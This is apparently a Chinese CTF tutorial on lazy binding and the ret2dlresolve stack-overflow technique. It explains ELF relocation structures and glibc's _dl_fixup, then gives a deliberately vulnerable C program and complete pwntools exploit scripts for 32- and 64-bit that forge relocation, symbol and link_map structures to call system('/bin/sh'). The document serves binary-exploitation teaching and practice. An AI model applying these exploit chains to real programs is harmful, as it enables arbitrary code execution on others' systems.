延遲綁定與 ret2dlresolve 詳解
ret2dlresolve 是棧溢出下的一種攻擊方法,主要用于程序沒有辦法利用 puts 、printf、writer 函數(shù)等泄露程序內(nèi)存信息的情況。
延遲綁定


objdump -s -j .dynsym pwn
.dynstr 段:存放了各個函數(shù)的名稱字符串。


typedef struct { ELF32_Word st_name; ELF32_Addr st_value; ELF32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
其中 st_name 域是相對于 .dynstr 段的偏移,來確定函數(shù)名稱字符串在 .dynstr 段的地址;st_value 域是當前符合被導出時存放虛擬地址的。

typedef struct { ELF32_Addr r_offset; ELF32_Addr r_info; } Elf32_Rel;
r_offset 域用于保存解析后的符號地址寫入內(nèi)存的位置, r_info 域的值在 右移 8 位之后的值用于標識該符號在 .dynsym 段中的位置,也就是確定該函數(shù)的 Elf_Sym 結(jié)構(gòu)體地址。其中的 r_offset 域也就是 GOT 表,當解析完成后,GOT 表中對應的函數(shù)地址也就被寫上了對應函數(shù)的 libc 地址。
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg) { // 首先通過參數(shù)reloc_arg計算重定位的入口,這里的JMPREL即.rel.plt,reloc_offest即reloc_arg const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); // 然后通過reloc->r_info找到.dynsym中對應的條目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 這里還會檢查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7 assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT); // 接著通過strtab+sym->st_name找到符號表字符串,result為libc基地址 result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // value為libc基址加上要解析函數(shù)的偏移地址,也即實際地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0); // 最后把value寫入相應的GOT表條目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }

漏洞利用
#include <unistd.h> #include <stdio.h> #include <string.h> void vuln(){ char buf[0x10]; puts("> "); read(0, buf, 0x30); } void init(){ setbuf(stdout, 0); setbuf(stderr, 0); setbuf(stdin, 0); } int main() { init(); vuln(); return 0; }
gcc -fno-stack-protector -z relro -no-pie -fno-pie 1.c -m32 -o pwn
這樣,我們就得到一個簡單的棧溢出漏洞程序,我們現(xiàn)在利用這個程序來實現(xiàn) ret2dlresolve
首先,我們嘗試通過棧遷移的方法來模擬實現(xiàn) puts 函數(shù)動態(tài)鏈接的過程,并打印 Hacker!
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) payload = b'a'*4 + p32(PLT0) + p32(0x18) + p32(0) + p32(buf + 0x14) + b'Hacker!' s(payload) pause()
exp 如代碼,在這個代碼中,我們先進行了棧遷移,之后模擬已經(jīng)將 0x18 (puts 函數(shù)的 realoc_index 參數(shù))已經(jīng)壓入棧,接著執(zhí)行 PLT0,壓入 link_map_obj 參數(shù),然后執(zhí)行 _dl_runtime_resolve 函數(shù),之后解析完成那么就能夠接著執(zhí)行 puts("Hacker!") 打印出 Hacker!
第二步我們自己偽造 Elf_Rel 結(jié)構(gòu)體來實現(xiàn)這一效果。首先要控制好 realoc_index 參數(shù),使函數(shù)的 Elf_Rel 結(jié)構(gòu)體落在 bss 上
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(0x407) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x1c) + fake_Elf_Rel + b'Hacker!' s(payload) pr() #pause()

接著繼續(xù)偽造 Elf_Sym 結(jié)構(gòu)體,那么這里我們就需要修改 r_info 的值了,其中, r_info 的值是由 r_sym 和 r_type 計算得出,r_sym 是對應函數(shù)的 Elf_Sym 結(jié)構(gòu)體相對于 .dynsym 段的偏移,r_type 照抄取為 7(_dl_fixup 函數(shù)中會檢測 r_info 的低位是否為 7,這里一般默認為 7)

r_sym = (buf + xx - .dynsym)/0x10
r_info = (r_sym << 8) + r_type(7)
同樣的,這里的 fake_Elf_Sym 結(jié)構(gòu)體里面的值先照抄原本的 Elf_Sym 結(jié)構(gòu)體的值,所以
fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2
fake_Elf_Sym = p32(puts_str_addr - dynstr)+ p32(0)*2 + p32(0x12)+ p32(0)*2
exp
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn dynsym = 0x804821c dynstr = 0x80482BC #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) # set fake_Elf_Sym r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int(r_sym) << 8) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2 # set fake_Elf_Rel realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x34) payload += fake_Elf_Rel # buf + 0x14 payload += fake_Elf_Sym # buf + 0x1c payload += b"Hacker!" #buf+0x34 s(payload) pr() #pause()
接下來繼續(xù)偽造 .dynstr 段上的字符串,這個改動比較簡單,偽造一個 fake_st_name 即可
fake_st_name = bus + xx - .dynstr
exp
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn dynsym = 0x804821c dynstr = 0x80482BC #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) # set fake_st_name fake_st_name = buf + 0x34 - dynstr # set fake_Elf_Sym r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int(r_sym) << 8) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2 # set fake_Elf_Rel realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c) payload += fake_Elf_Rel # buf + 0x14 payload += fake_Elf_Sym # buf + 0x1c payload += b"puts" + p32(0) #buf+0x34 payload += b"Hacker!" s(payload) pr() #pause()
由于解析是根據(jù)函數(shù)名字符串來尋找的,所以我們接下來只需要修改 puts -> system、Hacker! -> /bin/sh 即可 get shell
from pwn import * from struct import pack from ctypes import * #from LibcSearcher import * def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('1.14.71.254', 28966) elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn dynsym = 0x804821c dynstr = 0x80482BC #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) # set fake_st_name fake_st_name = buf + 0x34 - dynstr # set fake_Elf_Sym r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int(r_sym) << 8) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2 # set fake_Elf_Rel realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c) payload += fake_Elf_Rel # buf + 0x14 payload += fake_Elf_Sym # buf + 0x1c payload += b"system" + p16(0) #buf+0x34 payload += b"/bin/sh\x00" s(payload) inter() #pause()
x64


typedef struct{ Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ }Elf64_Sym;

這是64 位下的 Elf_Rel 結(jié)構(gòu)體,增加了 r_addend
typedef struct{ Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ }Elf64_Rela;

并且,如果是直接像 32 位的做法直接偽造 realoc_index,那么會因為 _dl_fixup 函數(shù)執(zhí)行時候訪問到錯誤的內(nèi)存地址而奔潰
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一個參數(shù)link_map,也就是got[1] { // 獲取link_map中存放DT_SYMTAB的地址 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); // 獲取link_map中存放DT_STRTAB的地址 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // reloc_offset就是reloc_arg,獲取重定位表項中對應函數(shù)的結(jié)構(gòu)體 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 根據(jù)重定位結(jié)構(gòu)體的r_info得到symtab表中對應的結(jié)構(gòu)體 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we're really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 檢查r_info的最低位是不是7 /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 這里是一層檢測,檢查sym結(jié)構(gòu)體中的st_other是否為0,正常情況下為0,執(zhí)行下面代碼 { const struct r_found_version *version = NULL; // 這里也是一層檢測,檢查link_map中的DT_VERSYM是否為NULL,正常情況下不為NULL,執(zhí)行下面代碼 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { // 到了這里就是64位下報錯的位置,在計算版本號時,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的過程中,由于我們一般偽造的symtab位于bss段 // 就導致在64位下reloc->r_info比較大,故程序會發(fā)生錯誤。所以要使程序不發(fā)生錯誤,自然想到的辦法就是不執(zhí)行這里的代碼,分析上面的代碼我們就可以得到兩種手段 // 第一種手段就是使上一行的if不成立,也就是設置link_map中的DT_VERSYM為NULL,那我們就要泄露出link_map的地址,而如果我們能泄露地址,根本用不著ret2dlresolve。 // 第二種手段就是使最外層的if不成立,也就是使sym結(jié)構(gòu)體中的st_other不為0,直接跳到后面的else語句執(zhí)行。 const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } RTLD_ENABLE_FOREIGN_CALL; // 在32位情況下,上面代碼運行中不會出錯,就會走到這里,這里通過strtab+sym->st_name找到符號表字符串,result為libc基地址 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); RTLD_FINALIZE_FOREIGN_CALL; /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ // 同樣,如果正常執(zhí)行,接下來會來到這里,得到value的值,為libc基址加上要解析函數(shù)的偏移地址,也即實際地址,即result+st_value value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); } else { // 這里就是64位下利用的關鍵,在最上面的if不成立后,就會來到這里,這里value的計算方式是 l->l_addr + st_value // 我們的目的是使value為我們所需要的函數(shù)的地址,所以就得控制兩個參數(shù),l_addr 和 st_value /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; // 最后把value寫入相應的GOT表條目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); } //來自 https://blog.csdn.net/qq_51868336/article/details/114644569
- st_other != 0
- l -> l_addr = system_libc - a_libc;sym -> st_value = a_got (其中,a 函數(shù)是已經(jīng)被解析過的一個函數(shù))
//0x68 strtab //0x70 symtab //0xf8 relplt struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next; struct link_map *l_prev; struct link_map *l_real; Lmid_t l_ns; struct libname_list *l_libname; Elf64_Dyn *l_info[76]; const Elf64_Phdr *l_phdr; Elf64_Addr l_entry; Elf64_Half l_phnum; Elf64_Half l_ldnum; struct r_scope_elem l_searchlist; struct r_scope_elem l_symbolic_searchlist; struct link_map *l_loader; struct r_found_version *l_versions; unsigned int l_nversions; Elf_Symndx l_nbuckets; Elf32_Word l_gnu_bitmask_idxbits; Elf32_Word l_gnu_shift; const Elf64_Addr *l_gnu_bitmask; union { const Elf32_Word *l_gnu_buckets; const Elf_Symndx *l_chain; }; union { const Elf32_Word *l_gnu_chain_zero; const Elf_Symndx *l_buckets; }; unsigned int l_direct_opencount; enum {lt_executable, lt_library, lt_loaded} l_type : 2; unsigned int l_relocated : 1; unsigned int l_init_called : 1; unsigned int l_global : 1; unsigned int l_reserved : 2; unsigned int l_phdr_allocated : 1; unsigned int l_soname_added : 1; unsigned int l_faked : 1; unsigned int l_need_tls_init : 1; unsigned int l_auditing : 1; unsigned int l_audit_any_plt : 1; unsigned int l_removed : 1; unsigned int l_contiguous : 1; unsigned int l_symbolic_in_local_scope : 1; unsigned int l_free_initfini : 1; struct r_search_path_struct l_rpath_dirs; struct reloc_result *l_reloc_result; Elf64_Versym *l_versyms; const char *l_origin; Elf64_Addr l_map_start; Elf64_Addr l_map_end; Elf64_Addr l_text_end; struct r_scope_elem *l_scope_mem[4]; size_t l_scope_max; struct r_scope_elem **l_scope; struct r_scope_elem *l_local_scope[2]; struct r_file_id l_file_id; struct r_search_path_struct l_runpath_dirs; struct link_map **l_initfini; struct link_map_reldeps *l_reldeps; unsigned int l_reldepsmax; unsigned int l_used; Elf64_Word l_feature_1; Elf64_Word l_flags_1; Elf64_Word l_flags; int l_idx; struct link_map_machine l_mach; struct { const Elf64_Sym *sym; int type_class; struct link_map *value; const Elf64_Sym *ret; } l_lookup_cache; void *l_tls_initimage; size_t l_tls_initimage_size; size_t l_tls_blocksize; size_t l_tls_align; size_t l_tls_firstbyte_offset; ptrdiff_t l_tls_offset; size_t l_tls_modid; size_t l_tls_dtor_count; Elf64_Addr l_relro_addr; size_t l_relro_size; unsigned long long l_serial; struct auditstate l_audit[]; };
根據(jù) _dl_fixup 函數(shù)的代碼,我們可以知道 .rel.plt 、.dynsym、.dynstr 段的地址都是從 l -> l_info[] 中取的,所以 l -> l_info 又對應了 .dynamic 段,這里我們可以在 IDA 看到 .dynamic 段的內(nèi)容





def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # &(2**64-1)是因為offset通常為負數(shù),如果不控制范圍,p64后會越界,發(fā)生錯誤 linkmap = p64(offset & (2 ** 64 - 1))#l_addr # fake_linkmap_addr + 8,也就是DT_JMPREL,至于為什么有個0,可以參考IDA上.dyamisc的結(jié)構(gòu)內(nèi)容 linkmap += p64(0) # 可以為任意值 linkmap += p64(fake_linkmap_addr + 0x18) # 這里的值就是偽造的.rel.plt的地址 # fake_linkmap_addr + 0x18,fake_rel_write,因為write函數(shù)push的索引是0,也就是第一項 linkmap += p64((fake_linkmap_addr + 0x90)) # Rela->r_offset,正常情況下這里應該存的是got表對應條目的地址,解析完成后在這個地址上存放函數(shù)的實際地址,此處我們只需要設置一個可讀寫的地址即可 linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的對應項,7>>32=0,也就是指向symtab的第一項 linkmap += p64(0)# Rela->r_addend,任意值都行 linkmap += p64(0)#l_ns # fake_linkmap_addr + 0x38, DT_SYMTAB linkmap += p64(0) # 參考IDA上.dyamisc的結(jié)構(gòu) linkmap += p64(known_func_ptr - 0x8) # 這里的值就是偽造的symtab的地址,為已解析函數(shù)的got表地址-0x8 linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 對應的值的是DT_STRTAB的地址,由于我們用不到strtab,所以隨意設置了一個可讀區(qū)域 linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 對應的值是DT_SYMTAB的地址 linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 對應的值是DT_JMPREL的地址 return linkmap
from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('spdc-1.play.hfsc.tf', 40003) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so') sleep(0.1) s("V2VsY29tZSB0byBOS0NURiE=") sleep(0.1) s("dGVsbCB5b3UgYSBzZWNyZXQ6") sleep(0.1) s("SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45") sleep(0.1) s("Y2FuIHlvdSBmaW5kIG1lPw==") sleep(0.1) rdi = 0x401683 rsi_r15 = 0x401681 rbp = 0x40117d leave = 0x4013c2 ret = 0x40101a PLT1 = 0x401026 buf = elf.bss() + 0x400 def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # &(2**64-1)是因為offset通常為負數(shù),如果不控制范圍,p64后會越界,發(fā)生錯誤 linkmap = p64(offset & (2 ** 64 - 1))#l_addr # fake_linkmap_addr + 8,也就是DT_JMPREL,至于為什么有個0,可以參考IDA上.dyamisc的結(jié)構(gòu)內(nèi)容 linkmap += p64(0) # 可以為任意值 linkmap += p64(fake_linkmap_addr + 0x18) # 這里的值就是偽造的.rel.plt的地址 # fake_linkmap_addr + 0x18,fake_rel_write,因為write函數(shù)push的索引是0,也就是第一項 linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情況下這里應該存的是got表對應條目的地址,解析完成后在這個地址上存放函數(shù)的實際地址,此處我們只需要設置一個可讀寫的地址即可 linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的對應項,7>>32=0,也就是指向symtab的第一項 linkmap += p64(0)# Rela->r_addend,任意值都行 linkmap += p64(0)#l_ns # fake_linkmap_addr + 0x38, DT_SYMTAB linkmap += p64(0) # 參考IDA上.dyamisc的結(jié)構(gòu) linkmap += p64(known_func_ptr - 0x8) # 這里的值就是偽造的symtab的地址,為已解析函數(shù)的got表地址-0x8 linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 對應的值的是DT_STRTAB的地址,由于我們用不到strtab,所以隨意設置了一個可讀區(qū)域 linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 對應的值是DT_SYMTAB的地址 linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 對應的值是DT_JMPREL的地址 return linkmap #gdb.attach(p, 'b *0x4013E8') s(b'a'*0x30 + p64(buf) + p64(rsi_r15) + p64(buf)*2 + p64(elf.sym['read']) + p64(rdi) + p64(buf + 0x48) + p64(ret) + p64(PLT1) + p64(buf) + p64(0)) sleep(2) fake_link_map = fake_Linkmap_payload(buf, elf.got['setbuf'], libc.sym['system'] - libc.sym['setbuf']) s(fake_link_map) inter() #pause()
參考:https://blog.csdn.net/qq_51868336/article/details/114644569 CTF 競賽權(quán)威指南

浙公網(wǎng)安備 33010602011771號